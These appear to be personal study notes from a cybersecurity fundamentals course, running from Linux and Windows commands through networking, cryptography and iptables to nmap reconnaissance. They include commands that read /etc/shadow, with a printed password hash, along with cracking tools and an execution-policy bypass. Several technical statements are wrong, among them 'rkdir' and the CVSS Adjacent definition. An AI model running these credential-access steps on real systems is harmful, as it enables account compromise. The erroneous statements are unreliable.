# 6 Linux Basics basic command --- * change directory - go to the previous level of the current directory : `cd ..` - Change to the home directory : `cd ~` * checks what type of file : `file (filename)` * list all detail inculde hidden files : `ls -la` - no hidden files : `ls -l` - file size : `ls -lh` - reverse chronological order : `ls -ltr` - list the contents of the directory recursively : `ls -lR` * Count the number of lines in a file ``` wc -l /usr/share/dnsenum/dns.txt ``` * view content - output content and show line numbers : `cat -n file1` - `less `is a complete version of `more` - press `q` to leave `less` mode - show the first 10 lines : `head -n 10 file1` - show the last 10 lines : `tail -n 10 file1` * edit file content *nano、vi is TUI, and mousepad is GUI* - `nano <filepath>` - leave : `Ctrl + X` - `vi <filepath>` or `vim <filepath>` - leave : press `Esc` then `:wq` then `Enter` - `sudo -sE mousepad <filepath>` * create file/directory and delete - file - create : `touch <filename> - delete : `rm <filename>` - directory - create : `mkdir <directoryname>` - delete : `rkdir <directoryname>` - remove non_empty directory : `rm -r <directoryname>` * move file - move <filename> to <directory> : `mv <filename> <directory>` - rename fileame/directory - change abc.txt to AAA.txt : `mv abc.txt AAA.txt` * copy - copy A.txt to B.txt : `cp A.txt B.txt` users、groups permission --- **/etc/passwd** ``` root@linux02:~# cat /etc/passwd | grep john john:x:1005:1006::/home/john:/bin/sh ``` * john is the username * x indicates that the password is stored in the shadow file * 1005 indicates the User ID (UID) * 1006 indicates the Group ID (GID) * `/bin/sh` : Default Shell **/etc/shadow** ``` root@linux02:~# cat /etc/shadow | grep john john:$6$NI7mGcYMiuhDrmiB$2T0aiaOxj.jn3xrhAOe6ORobE2w8mEfbfJ3h0M2eKIBBFptCs3qzLnh21GrRjpAEG1mih2WxbXYhUfKFrjcRU0:18829:0:99999:7::: ``` * 18829(days) is the last time the password was changed * 7 : the number of days in advance of the password's expire that the user will be warned to change their password **/etc/group** ``` root@linux02:~# cat /etc/group | grep sudo sudo:x:27:cathy,bill,senji ``` * sudo is the group name * x is the group password (usually not used) * 27 is the group ID **view the permission of each file** ``` ls -l /etc/passwd -rw-r--r-- 1 root root 3115 Sep 27 21:27 /etc/passwd ``` * first dash`-` means file, the value of directory is `d` * In order: user、group、 all others **two ways to change file permission** 1. using letter ``` chmod u+x,g+w,o-r <file> ``` ``` chmod u=rwx,g+rw,o-r <file> ``` 2. using number ``` chmod 754 <file> ``` 4 read___2 write___1 exceute * 7=ALL * 6=read+write * 5=read+execute * 3=write+execute **change file (group)owner** * chnage user's owner ``` sudo chown <new_owner> <file_path> ``` * chnage group's onwer ``` sudo chgrp <group_name> <path_to_file_or_directory> ``` **sudo** * `sudo -i` : allows the current user to run a login shell as the root user * `su <username>` : this can change to the user you want **/etc/sudoers** specifies which users and groups on a Linux system can execute particular commands with root (or other) privileges using the sudo command. ``` john ALL=(root) /usr/bin/touch cathy ALL=(ALL:ALL) NOPASSWD: ALL ``` * `(root)` – when running the allowed command, john will run it as the user root * `/usr/bin/touch` – This is the only command that john can run with elevated privileges - john is permitted to run `sudo /usr/bin/touch <some_filename>` * `(ALL:ALL)` – cathy can run commands as any user and any group, not just root * `NOPASSWD: ALL` - can run any command with sudo without being prompted for a password. ssh connection --- add domain name in etc/host file ``` sudo -sE mousepad /etc/hosts ``` connection ``` ssh atlas@linux-basics ``` # 7 Data Transformation Fundamentals 4 bits = nibble 8 bits = byte Encoding --- **(1)converting decimal number to binary with bc** ``` echo "obase = 2 ; 7" | bc ``` * `obase = 2` (Binary) = output base * 7 = input value (always Decimal) ``` echo "obase=16; 162" | bc ``` * `obase = 16` (hex) = output base * 162 = input value ( always Decimal) **(2)Converting binary 111 to decimal with bc** ``` echo "ibase = 2 ; 111" | bc ``` * `ibase = 2` (Binary) = input base * 111 = input value * convert to decimal **(3)output english letter file to hex** ``` xxd <filename> ``` **(4)hexdump back to ASCII** ``` echo "48656c6c6f20576f726c64" | xxd -r -p ``` * `-r`: Reverse the hex dump. **(5)TCP header hexdump** `01 bb` = 443 port > 01BB=(1×16^2^)+(11×16^1^)+(11×16^0^)=443 **(6) Base64 Encoding** ![Figure_1](https://hackmd.io/_uploads/H1aQSvZwkl.png) * converting every three-bytes of binary data into four Base64 characters * if a string ends with an `=` , it is quite likely some data encoded with Base64 **string to base64 encode** ``` echo "Example text" | base64 ``` **Base64 encode to string** ``` echo RXhhbXBsZSB0ZXh0Cg== | base64 -d ``` | Decimal | Binary | Hexadecimal | |---------|-------------|-------------| | 0 | 0b0 | 0x0 | | 1 | 0b1 | 0x1 | | 2 | 0b10 | 0x2 | | 3 | 0b11 | 0x3 | | 4 | 0b100 | 0x4 | | 5 | 0b101 | 0x5 | | 6 | 0b110 | 0x6 | | 7 | 0b111 | 0x7 | | 8 | 0b1000 | 0x8 | | 9 | 0b1001 | 0x9 | | 10 | 0b1010 | 0xa | | 11 | 0b1011 | 0xb | | 12 | 0b1100 | 0xc | | 13 | 0b1101 | 0xd | | 14 | 0b1110 | 0xe | | 15 | 0b1111 | 0xf | | 16 | 0b10000 | 0x10 | | 17 | 0b10001 | 0x11 | | 18 | 0b10010 | 0x12 | | 19 | 0b10011 | 0x13 | | 20 | 0b10100 | 0x14 | |255 | 0b11111111 | 0xff | Hashing --- **use hash to identify if the file are same** * SHA ``` sha256sum <file1> <file2> > tests.sha256 ``` check if same ``` sha256sum -c tests.sha256 ``` * MD5 ``` md5sum <file1> <file2> > tests.md5 ``` check if same ``` md5sum -c tests.md5 ``` **store hased password** * linux store hashed password in the `/etc/shadow `file * winodws store it in `C:\Windows\System32\config\SAM` **rainbow table tools** 1. [crackstation](https://crackstation.net/) 1. john : `john <filename>` **SHA-256** * often used in Linux systems for shadow file password storage * `$5$`: This indicates the hashing algorithm used is SHA-256 crypt. # 8 Python Scripting Fundamentals(不熟) ### 1. Opening Terminal in VS Code - In VS Code, press `Ctrl + `` (backtick) to open the terminal. ### 2. Storing a Log Entry in a Variable ```python entry = '43.254.166.185 - - [31/May/2024:10:45:32 -0500] "PATCH /bricks-and-clicks/b2b/monetize HTTP/1.0" 502 87232 "http://www.globalglobal.net/schemas/functionalities/synergistic/evolve" "Opera/10.22 (X11; Linux i686; en-US) Presto/2.9.172 Version/11.00"' ``` ### 3. String Operations - **Convert to upper case**: ```python entry.upper() ``` - **Split string by spaces**: ```python entry_parts = entry.split(" ") print(entry_parts[8]) # Prints the ninth element of the split list ``` ### 4. Traversing a List with Indexes - Using `enumerate` to get both index and value of list items: ```python for index, item in enumerate(status_codes): print(index, item) ``` ### 5. Using the Range Function - **Starting from 0 to 5**: ```python for b in range(5): print(b) # Outputs 0, 1, 2, 3, 4 ``` - **Starting from 5 to 10**: ```python for b in range(5, 10): print(b) # Outputs 5, 6, 7, 8, 9 ``` ### 6. Creating a List - Lists allow accessing elements via numerical indexes: ```python status_codes = [200, 302, 404, 500] ``` ### 7. Creating Dictionaries - Dictionaries allow referencing values using strings as keys: ```python log_entry = {"ip": "10.0.0.1", "status_code": 500} log_entry2 = {} log_entry2["ip"] = "10.0.0.2" log_entry2["status_code"] = 200 print(log_entry2) # Outputs {'ip': '10.0.0.2', 'status_code': 200} ``` # 9 PowerShell Scripting Fundamentals ### Checking PowerShell Version ```powershell $PSVersionTable ``` - **Function to Show Only Version Number** ```powershell function Get-MajMinorVersion { $maj = $PSVersionTable.PSVersion.Major.ToString() $min = $PSVersionTable.PSVersion.Minor.ToString() return $maj + "." + $min } ``` - **Calling the Function** ```powershell Get-MajMinorVersion ``` --- ### Aliases & Variable Operations - **Displaying Other Aliases for "help" Command** ```powershell Get-Alias -Definition "help" ``` - **Clearing a Variable** ```powershell Clear-Variable -Name firstVar ``` - **Create Two Variables and Assign Integer Values** ```powershell $num1 = 7 $num2 = 12 ``` - **Incrementing `$num1` by 1** ```powershell $num1++ $num1 ``` - **Operator for "Equals"** ```powershell $num2 -eq 0 ``` --- ### Comparison Operators | **Operator Type** | **Operator** | **Definition** | |------------------|-------------|--------------| | **Equality** | `-eq` | Equal | | **Equality** | `-ne` | Not Equal | | **Equality** | `-gt` | Greater than | | **Equality** | `-ge` | Greater than or Equal to | | **Equality** | `-lt` | Less than | | **Equality** | `-le` | Less than or Equal to | | **Matching** | `-like` | Compares strings using wildcard pattern | | **Matching** | `-notlike` | Compares strings using wildcard pattern | | **Matching** | `-match` | Compares strings using regular expressions | | **Matching** | `-notmatch` | Compares strings using regular expressions | | **Containment** | `-contains` | Searches value to see if it exists in a collection | | **Containment** | `-notcontains` | Searches value to see if it does not exist in a collection | | **Containment** | `-in` | Checks if a value exists in a collection | | **Containment** | `-notin` | Checks if a value does not exist in a collection | | **Replacement** | `-replace` | Replaces part or all of the value | | **Comparison** | `-is` | Compares data types (not values) | | **Comparison** | `-isnot` | Compares data types (not values) | --- ### String Operations - **Get Type of a String** ```powershell $myString.GetType() ``` - **Casting String to Int32** ```powershell $justInt = [Int]$numberString ``` - **Casting String to Int64** ```powershell $justInt64 = [Int64]$numberString ``` - **Get String Length** ```powershell $myFirstName.Length ``` - **Check if String Contains Another String** ```powershell $myFirstName.Contains("Chris") ``` - **Get Object Members of a String** ```powershell Get-Member -InputObject $myFirstName ``` --- ### File and Directory Operations - **List All Files and Folders in Current Directory** ```powershell Get-ChildItem ``` - **Find Properties Containing "LastWrite"** ```powershell Get-ChildItem | Get-Member -MemberType Property | Where-Object Name -Like "*LastWrite*" ``` --- ### Loops & Commands - **Foreach Loop Example** ```powershell $myWord = "powershell" $myArray = $myWord.ToCharArray() foreach ($myLetter in $myArray) { $myLetter } ``` - **List Available Verbs** ```powershell Get-Verb ``` --- ### Execution Policy - **Get Execution Policy** ```powershell Get-ExecutionPolicy ``` - **Change Execution Policy** ```powershell Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process ``` - `-ExecutionPolicy RemoteSigned`: Local scripts can be executed, but downloaded scripts require a trusted signature. - `-Scope Process`: Policy applies only to the current session and resets when the session is closed. - **Bypass Execution Policy for Security Checks** ```powershell powershell.exe -ExecutionPolicy Bypass ``` - `Bypass`: Allows execution of all scripts regardless of source. - Check policy using `Get-ExecutionPolicy`, result should be `Bypass`. --- ### Creating and Using a Module 1. **Create a Script Containing a Function** ```powershell function Get-PSMultiplication { param ([int]$num1, [int]$num2) return $num1*$num2 } ``` - Save it as a `.ps1` file. - Running the script directly will not return a result. 2. **Using the Module in Another PowerShell Session** - Open a new PowerShell session. - Call the function: `Get-PSMultiplication (num1) (num2)`. # 10 Networking Fundamentals ### OSI Model Details * Layer 7 Application Layer : defines how a human or software can interact with a network ex: HTTP、SMTP、FTP、SSH、SNMP、DNS * Layer 6 Presentation Layer : Encrypting, compressing, or otherwise transforming data are examples of activities that happen on the Presentation Layer ex: ASCII、JPEG、MIDI、MIME * Layer 5 Session Layer : initiate, maintain, and eventually terminate multiple different connections between computers ex: RPC、NFS、SMB、CIFS * Layer 4 Transport Layer : responsible for making sure that data gets from Host A to Host B in proper order and on time ex: TCP(secure)、UDP * Layer 3 Network Layer : responsible for routing packets, ensuring that packets can reach their destinations through different nodes. ex: IP、ICMP、ARP * Layer 2 Data Link Layer : transferring information between hosts that are physically connected on the same network - Media Access Control (MAC) determines how and when different devices are allowed to communicate with each other - Logical Link Control (LLC) provides flow control and error handling functions on Layer 2 * Layer 1 Physical Layer : transfers raw data between a physical machine and a physical transmission medium --- ### Proper Noun #### PDU Called Protocol Data Unit Layer 1 : Bits Layer 2 : Frame Layer 3 : Packet Layer 4 : TCP/UDP Layer 5-7 : Data #### encapsulation * each layer depends solely on the information provided to it from the layer immediately below it 每一層都僅依賴其下一層提供的信息 * 是指將數據從高層傳遞到低層的過程((從應用層到物理層)),並且每一層都會添加它自己的控制信息 #### OUI Organizationally Unique Identifier ,The first half of the MAC address --- ### TCP/IP Model Details * Layer 4 Application Layer : As analogous in function to the Application, Presentation, and Session layers of the OSI model * Layer 3 Transport Layer : It accomplishes much of the same purpose as the OSI Transport Layer, but it also has some functions like session termination that would exist at the OSI Session Layer * Layer 2 Internet Layer : It's analogous to the OSI Network Layer and is responsible for the concept of IP Addresses * Layer 1 Link Layer : It is comparable to the OSI Data Link Layer, but may also perform some functions of the Network Layer --- ### Network Protocols - **Link Layer: Ethernet** The main purpose of this layer is to reduce collisions on the physical network - **subnet mask** how to distingush if two IP are in same network? > Perform AND operations on these two IPs and the subnet mask respectively. If the results are the same, they are on the same network. --- ### Wireshark #### the info of pcap ``` capinfos yourfile.pcap ``` #### Follow TCP stream * Right click packet-->`Follow`-->`TCP steam` #### Export specified packets * click `File`-->`Export Specified Packets...` #### filter destination/source IP ``` ip.dst == 8.8.8.8 ip.src == 8.8.8.8 ``` #### filter HTTP packets from a specific source IP ``` http and ip.src == 192.168.1.10 ``` --- ### Tcpdump #### read exist file ``` tcpdump -r <file_path> ``` #### filter function * filt source/destination IP ``` tcpdump src host 192.168.1.1 tcpdump dst host 10.0.0.2 tcpdump not src host 192.168.1.1 tcpdump not dst host 10.0.0.2 ``` * filt port ``` tcpdump port 80 tcpdump not port 22 ``` * filt protocols ``` tcpdump ftp tcpdump http tcpdump ftp tcpdump http ``` * filt inerface ``` tcpdump -i eth0 ``` #### save file as .pcap * save as capture.pcap ``` tcpdump -w capture.pcap ``` #### Command chaining * capture 100 packets and count line number ``` tcpdump -c 100 | wc -l ``` * Show line numbers ``` tcpdump | cat -n ``` #### loopback Interface a special interface only allow to communicate with localhost #### cronjob A cronjob is a scheduled task that runs automatically at specified time intervals on Unix-based operating systems --- ### TCP/IP Helper Protocols #### ICMP=(Internet Control Message Protocol) a network protocol used to send error messages, diagnostics, and control messages between devices on an IP network #### ARP=(Address Resolution Protocol) a network protocol used to map an IP address to a MAC address on a local network (LAN). It allows devices to communicate over Ethernet or Wi-Fi by resolving logical addresses (IP) into physical addresses (MAC) ###### Viewing the ARP table ``` arp ``` ###### Adding to the ARP table ``` sudo arp -s 10.0.0.2 AA:BB:CC:DD:EE:FF ``` ###### Deleting from the ARP table ``` sudo arp -d 10.0.0.2 ``` #### DHCP=(Dynamic Host Configuration Protocol) --- ### Network technology #### Routing ###### check a Route table ``` route ``` #### ACL Access Control List #### NAT Network Address Translation creating a one-to-many map between private IP addresses and public IP addresses #### PAT Port Address translation M1 and M3 share the same public IP (203.0.113.5), but PAT distinguishes the traffic of different devices by modifying the source port to ensure that the response packets can be correctly sent back to the corresponding internal device. #### VPN virtual Private Network --- # 12 Enterprise Network Fundamentals ### Typical Enterprise Network Zoning * ##### DMZ A network buffer zone that isolates internal systems from direct internet access * ##### Proxy in DMZ Presents a limited set of services on its outside face and then feeds external connections back into the appropriate internal servers. * ##### Core Network Zone Hosts the sensitive enterprise systems, such as ERP system, internal databases, financial applications, human resources systems * ##### Intranet Zone Where internal staff workstations are connected * ##### Extranet Zone A trusted connection with business partners, it's potentially a pathway to transit from one enterprise network to another * ##### Security Management Zone where key security services are hosted, such as an identity server used to authenticate users or SIEM ### Enterprise Technology Management * ##### Shadow IT Shadow IT refers to hardware, software, or cloud services used within an organization without explicit approval from the IT department * ##### OSP stands for Operational Security Processes ### The Role of Routers in an Enterprise 1. **Traffic Forwarding** – Directs data packets between networks efficiently. 2. **Path Optimization** – Uses protocols like BGP and OSPF to find the best routes. 3. **Network Segmentation** – Divides networks into subnets to improve performance and security. 4. **Broadcast Traffic Control** – Limits broadcast domains to reduce network congestion. 5. **Collision Domain Reduction** – Minimizes network collisions for better efficiency. 6. **Network Address Translation (NAT)** – Enables multiple devices to share a public IP address. 7. **IP Address Conservation** – Helps manage limited public IP addresses. 8. **Security Enhancement** – Masks internal IPs from external networks. 9. **Firewall Functionality** – Provides basic traffic filtering and security features. 10. **VPN Support** – Enables secure remote access for enterprise users. ### IAM server VS AD | **Category** | **Active Directory (AD)** | **Identity and Access Management (IAM)** | |--------------------|---------------------------------|-----------------------------------------| | **Purpose** | Internal network identity management | Local + cloud identity management | | **Authentication** | Kerberos, NTLM | OAuth, SAML, OpenID Connect | | **Access Scope** | Windows internal environment | On-premises, cloud, SaaS applications | | **Key Features** | Group Policy (GPO), computer logins | SSO, Multi-Factor Authentication (MFA), Role-Based Access Control (RBAC) | | **Examples** | Windows AD DS | Azure AD (Entra ID), Okta, AWS IAM | ### Enterprise Data Storage ##### Direct Attached Storage(DAS) * does not require the data to traverse a network * a digital storage system directly attached to a server or workstation * digital storage ##### Network Attached Storage(NAS) * often used for office file sharing, remote access of company data, and as backup storage for disaster recovery purposes * file-level data storage ##### Storage Area Network(SAN) * block-level storage * typically used in data centers, enterprise environments with large databases * SAN security includes zoning to restrict access to data and storage encryption # 13 Vulnerability Management ##### CVE Numbering Authority (CNA) A CNA (CVE Numbering Authority) assigns CVE IDs to vulnerabilities, ensuring standardized tracking and disclosure for cybersecurity threats across organizations. --- ##### Common Vulnerabilties and Exposures (CVE) --- ### CVSS [calculator](https://www.first.org/cvss/calculator/3.1) #### AV(Attack Vector) * N(Network) > Attackers may invade through the network and carry out attacks through remote access, malware distribution, phishing, etc. For example, attackers can exploit unsecured network connections (such as Wi-Fi) to gain access to target systems. * A(Adjacent) > An attacker launches an attack by gaining physical access to a target system or device. For example, an attacker can attack through a side channel attack or use a physical device to connect to the target network, exploit the device or wireless network, etc. * L(Local) > The attacker gains physical access to the target computer or device and launches the attack directly on its operating system. Common attack methods include implanting malware, exploiting vulnerabilities, or physical tampering * P(Physical) > The attacker directly attacks by gaining physical access to the device or system. For example, attacks can be carried out by stealing devices, tampering with hardware, inserting malicious USB devices, etc. #### AC (Attack Complexity) * Low - There are no particular barriers to exploitation. * High - Exploiting the vulnerability requires bypassing some mitigation or other kind of roadblock. #### PR (Privileges Required) #### UI (User Interaction) This metric asks if any user interaction is required for the vulnerability to be exploited #### S (Scope) if the attacker is in a position to exploit other resources managed by another security authority after they exploit the vulnerability. #### C (Confidentiality) #### I (Integrity) #### A (Avalibility) * High means that the attacker could entirely block access to the vulnerable component. * Low means that the attacker would be able to "interrupt" the component, but not entirely disable it. * None means that the attacker would have no control over this at all. --- ### Common Weakness Enumeration (CWE) **classification** 1. Pillar Weaknesses The most abstract, representing general security issues across systems, usually not directly associated with a specific vulnerability 2. Class Weaknesses More specific than Pillar, but still describes a general type of vulnerability without limiting the scope to a specific technology or implementation 3. Base Weaknesses Specific vulnerability types are usually directly associated with certain code issues or system modules. 4. Variant Weaknesses Most specific, usually related to a particular software or hardware configuration # 14 Windows Basics * In kali, use `xfreerdp /u:learner /v:<remote_IP>` to connect to remote device basic command on windows --- * `help` : a list of all commands * `cls`: Clears the screen * `cmd`: Starts a new instance of the Windows command interpreter * `copy` - `copy <path>\<filename>`: copy `<path>\<filename>` to current directory - `copy <filename> <destination>` : copy filename to destination - `copy <filename1> <filename2>` : copy filename1 to filename2 * `del <filename>`: Deletes one or more files. * `dir`: Displays a list of files and subdirectories in a directory - `dir /a` : display hidden files - `dir /s <filename>` : search for any file in the given folder and any of its subfolders - `dir /s <filetype>` : `*.exe`、 `*.txt` - `dir /s *.exe /p` : pause the print after the terminal page is full * `echo` - write message into file - `echo (message) > (file)` : overwrite (message) into the (file) - `echo (message) >> (file)` : NOT overwrite (message) into the (file) - create empty file - `echo. > <filename>` - `echo 2> <filename>` * `erase`: Deletes one or more files. * `exit`: Quits the cmd.exe program (command interpreter) * `find <"string"> <filepath>`: Searches for a text string in a file - `findstr "password key" <filepath>` : search for multiple strings * `mkdir`: Creates a directory * `more`: Displays output one screen at a time * `move` - move destination : `move <file> <destination_path>` - rename : `move <old_filename> <new_filename>` * `rename <old_filename> <new_filename>`: * `rmdir`: Removes a directory - `rmdir /s <directory>` : delete it even it is not empty * `type <filename>`: Displays the contents of a text file * `cd` - `cd ..` : Switch to the previous folder - `cd \` : Go directly back to the root directory of the drive * `fc <file1> <file2>` : compare the difference between file1 and file2 * `tree` : display directory structure - `tree <path> /F` : `/F` to display all the files in each directories * `more <filename>` : avoid output all content once - press `Q` to exit * `systeminfo` : information about the system Windows System Components --- * Program Files = 64 bits <----------->Program Files (x86) = 32 bits * `net user` : list all users on the current machine - `net user <username>` : display the details user * `net localgroup` : display all local groups on the machine * add new user to group - (1)change to administrative permissions first - (2)`net user /add <username> <password>` - (3)`net localgroup <groupname> <username> /add` * delete user to group - (1)`net localgroup <groupname> <username> /del` - (2)`net user /del <username> ` * permission - `icacls <file>` : check file's permission - `icacls <file> /grant <user>:R` : Granting specific permissions to users - common permission characters - N - no access - F - full access - M - modify access - RX - read and execute access - R - read-only access - W - write-only access - D - delete access # 15 Cryptography Fundamentals ## Symmetric-Key Encryption ### **Caesar Cipher** * are often identified with the "ROT" (rotate) prefix [online tool](https://cryptii.com/pipes/caesar-cipher) **ROT13 implementation with tr linux utility** ``` echo "OFFSEC" | tr 'A-Za-z' 'N-ZA-Mn-za-m' ``` * Uppercase letters A-M become N-Z, and N-Z become A-M (shifted forward 13 places). * Lowercase letters a-m become n-z, and n-z become a-m (also offset by 13 bits). --- ### Vigenere Cipher [online tool](https://www.dcode.fr/vigenere-cipher) --- ### **AES** ``` echo "Let's try some symmetric-key encryption." > aes256.plain ``` encrypt ``` gpg -c --cipher-algo aes256 aes256.plain ``` decrypt ``` gpg --decrypt aes256.plain.gpg ``` --- ## Asymmetric Encryption ### using gpg to encrypt/decrypt message **act use receiver** generate key pairs ``` gpg --gen-key ``` list the keys ``` gpg --list-secret-keys ``` generate public key to file ``` gpg --output example-pub.asc --armor --export bob@bobbybobmail.com ``` view the file(public key) ``` cat example-pub.asc ``` --- **act as sender** import receiver's public key ``` gpg --import example-pub.asc ``` create a file ``` echo "This is a confidential company message." > company-secret.txt ``` use public key to encrypt ``` gpg --encrypt --recipient bob@bobbybobmail.com company-secret.txt ``` * use private key to decrypt --- **act as receiver** decrypt the file ``` gpg --decrypt company-secret.txt.gpg ``` --- --- ### Asymmetric Authentication with SSH log in this way, the server checks if the public key corresponding to the private key is listed in the `authorized_keys` file in the .ssh directory on the server. This allows us to securely authenticate without needing to enter a password each time we connect 1.generate SSH key(public/private) ``` ssh-keygen -t rsa ``` 2.send public key to target host (the machine we later want to login) ``` ssh-copy-id -i /home/kali/.ssh/id_rsa.pub kali@localhost ``` ``` ssh-copy-id -i /home/kali/.ssh/id_rsa.pub brian@192.168.0.14 ``` * target host : kali@localhost * target file path : /home/kali/.ssh/id_rsa.pub * kali/brian is the user of that host 3.Log in to the target host via SSH using the generated private key ``` ssh -i .ssh/id_rsa kali@localhost ``` * `-i .ssh/id_rsa` : private key file * `kali@localhost` : the machine want to login 4.check if SSH login success check .ssh file is public or private key ``` cd .ssh ls -l ``` # 16 Introduction to Network Firewalls ## Firewall Basics ### two main methods a firewall uses to filter traffic **1. Stateless firewalls** * operate at the Network layer * filter on the source/destination IP address and ports * very quick because they only have to check if a specific rule is triggered **2. Stateful firewalls** * operate at the application layer * keep track of the state of the conversation * How **Keep-Alive** affects firewalls (When a Keep-Alive Header appears in an HTTP packet, the firewall wil ....) - Monitor the HTTP connection to ensure that it remains active for a specified period of time. - The TCP connection will not be closed immediately, but the decision to terminate the connection will be made based on the **timeout** setting. - If the firewall has an idle connection cleanup mechanism(閒置連線清理機制), it may forcefully close the HTTP connection if there is no traffic on the connection. ### Microsegmentation * secure zone has shrunk to (縮小到) individual elements such as servers and databases, rather than relying on the security of larger multi-purpose zones * a significant defense against lateral movement (橫向移動) ## Firewall Rules ### Iptables Host Firewall **Listing iptables** ``` sudo iptables -L --line-numbers ``` * three main chains - INPUT : Processing packets coming into the local machine - FORWARD : Handles packets "forwarded" to other devices (when Linux is configured as a router) - OUTPUT : Processing "Packets sent by this machine" ### Simple iptables Rule **TCP connections from 192.168.xx.200 can access SSH (port 22) through the ens192 interface.** ``` sudo iptables -A INPUT -i ens192 -p tcp -s 192.168.xx.200 --dport 22 -j ACCEPT ``` * `-A INPUT`: Add a new rule to the INPUT rule chain * `-j ACCEPT`: Packets that meet these conditions will be "allowed (ACCEPT)". **Drop all other packets from ens192** ``` sudo iptables -A INPUT -i ens192 -j DROP ``` * `-A INPUT`: Add a new rule to the **end** of INPUT rule chain * `-i ens192`: filter only for the ens192 network card * `-j DROP`: All packets matching this rule will be directly "DROP" **Allow ICMP (usually Ping) traffic** ``` sudo iptables -I INPUT 3 -p icmp -j ACCEPT ``` * `-I INPUT 3` : Insert into line 3 of the INPUT chain **difference between DROP and REJECT** iptables rules ``` sudo iptables -A INPUT -p tcp --dport 1336 -j DROP sudo iptables -A INPUT -p tcp --dport 1337 -j REJECT ``` use namp to connect ``` nmap -sT -p 1336,1337 192.168.55.108 ``` result ``` 1336/tcp filtered ischat 1337/tcp closed waste ``` * DROP discards the packet with no response * REJECT returns a TCP packet indicating that the port that we attempted to access is inaccessible **restore iptable rule from certain file** 1. store the rules to certain file first ``` sudo iptables-save > /etc/iptables/rulex1.txt ``` 2. restore the rules ``` sudo iptables-restore < /etc/iptables/rulex1.txt ``` # 19 Information Gathering and Enumeration ## Passive Information Gathering ### whois on kali ``` whois fju.edu.tw ``` ### TOOLS of identifying subdomains and IP addresses 1. [dnsdumpster](https://dnsdumpster.com/) 1. theHarvester ``` theHarvester -d "megacorpone.com" -b dnsdumpster,subdomainfinderc99,subdomaincenter -r ``` * `-b` It is a parameter that specifies the data source (backend), which is used to tell theHarvester from which sources to collect information * `-r` option to resolve these to IP addresses ### other passive tools [GHDB](https://www.exploit-db.com/google-hacking-database) [censys](https://search.censys.io) [shodan](https://www.shodan.io/) ## Active Information Gathering ### subdomain ``` dnsrecon -d megacorpone.com -D /usr/share/dnsenum/dns.txt -t brt ``` ``` dnsrecon -d megacorpone.com -t std ``` * `-t` :type of enumeration to perform,`brt` for brute force,`std` for standard ### nmap **SYN Scanning Process** 1.client ---> SYN ---> server 2.server ---> SYN+ACK ---> client 3.client ---> RST ---> server Since it is not the complete TCP three-way handshake(SYN->SYN+ACK-->ACK), so we can determine if a port is open or not without wasting resources from the server and client **-sn** ``` sudo nmap -sn 192.168.50.150-155 ``` * If the host has no results under the `-sn` scan but has results under the`-Pn` scan, it can be speculated(猜測) that the host may have a firewall **-Pn** ``` sudo nmap -Pn -p 22 --open 192.168.50.150-155 ``` * `-Pn` : Skip host discovery (No ping) * Why use it? : If the target host does not respond to ping (for example, a firewall blocks ICMP), `-Pn` ensures that the scan does not skip these hosts due to host discovery failures **--top-ports** ``` sudo nmap -Pn --top-ports 5 192.168.50.150-155 --open ``` **-sV** ``` sudo nmap -sV 192.168.50.152 ``` * To get more information about the software and version running on an open port **-sC** ``` sudo nmap -sV -sC 192.168.50.152 ``` * Script Scan,use NSE(Nmap Scripting Engine) * Uncover details about target services beyond port scanning **-O** ``` sudo nmap -O 192.168.1.10 ``` * the OS of the host ``` sudo nmap -O 192.168.50.152 --osscan-guess ``` * force Nmap to print the guessed OS result even if is not fully accurate **-A** Aggressive Scan,include `-sV`、`-sC`、`-O` ``` sudo nmap -A 192.168.1.10 ``` ## Automating Information Gathering **spiderfoot** 1.Starting spiderfoot on port 8000 ``` spiderfoot -l 127.0.0.1:8000 ``` 2. open a browser and navigate to `http://127.0.0.1:8000` # 20 Understanding Web Attacks ## Web Application Architecture ### Web Application Architecture Overview **1. 單體式架構(Monolithic Architecture)** * 整個應用程式作為一個統一的單元建構,各個功能(如輸入處理、資料處理、使用者介面)相互連結。 * 變更或更新其中一部分時,通常需要重新建置和部署整個應用程式。 * 安全風險:若輸入處理功能存在漏洞,所有調用這些功能的端點或其他功能也可能受影響。 **2. 微服務架構(Microservice Architecture)** * 將應用程式劃分成多個小型、獨立的服務,每個服務負責特定功能,並透過 API 與其他服務溝通。 * 每個微服務可以獨立部署、擴展和維護。 * 安全風險:若每個微服務自行處理安全機制,可能會出現執行不當的情況。 * 因此,許多組織會在微服務前部署 API 閘道或反向代理(Reverse Proxy)來統一管理安全控制,但若攻擊者繞過這層防護,也會繞過所有安全機制。 **API 閘道(API Gateway)** * 是一種「入口伺服器」,負責接收所有從外部來的 API 請求,然後再轉發到後端真正的微服務。 * 它就像一個守門員,能統一管理安全檢查、流量控制、身份驗證、日誌紀錄等等,讓後端的微服務不用自己處理這些事情。 **反向代理(Reverse Proxy)** * 也是一種中間伺服器,位在用戶端和伺服器之間。當使用者發送請求時,請求先到反向代理,再由它決定把請求轉給哪台後端伺服器。 * 除了負責分流、加速、隱藏後端伺服器的細節外,也可以加強安全性(像是防止直接攻擊後端伺服器)。 **什麼是 API?** * API(Application Programming Interface) 中文叫「應用程式介面」。 * 它是一種「讓不同程式之間可以溝通」的標準方式。 * 比喻來說,API 就像是餐廳的「菜單」,客人(你的程式)根據菜單點餐(發出請求),廚房(伺服器)根據菜單做好餐點(回應資料)。 * 程式不用知道後端細節,只要按照 API 規定的方式發送請求,就可以取得需要的資料或功能。 ### Web Stacks (堆疊) and Technologies Web Stack(網頁堆疊) 指的是一組支援應用程式運作的軟體組合,通常包括: * 伺服器(Server) * 作業系統(Operating System) * 資料庫(Database) * 程式語言(Programming Language) LAMP 是一個傳統且常見的 Web Stack,包含: * Linux 作業系統 * Apache HTTP 伺服器 * MySQL 資料庫 * PHP 程式語言 |項目 | 單一堆疊(Single Web Stack) | 多堆疊微服務(Multiple Stacks in Microservices)| | -------- | -------- | -------- | |組成 | 使用一套固定組合的技術(如 LAMP) | 各微服務可使用不同技術堆疊| 技術統一性 | 高,所有功能用同一語言、資料庫等 | 低,各功能可選擇最適合的技術 管理維護 | 相對簡單(單一技術團隊即可處理) | 較複雜(需多種技術專家協作) 升級變更 | 要整體考量,影響範圍大 | 可單獨更新特定微服務,影響範圍小 技術隱藏性 | 外部較容易推測所用技術 | 外部難以察覺全部技術細節 例子 | LAMP(Linux + Apache + MySQL + PHP) | NodeJS + Python API + Java API ### Routing Basics **傳統 Web 伺服器(例如 Apache)** 是直接把「硬碟上的目錄與檔案」對應到「網頁 URL」。 比如說: * 硬碟上 `/var/www/html/site` 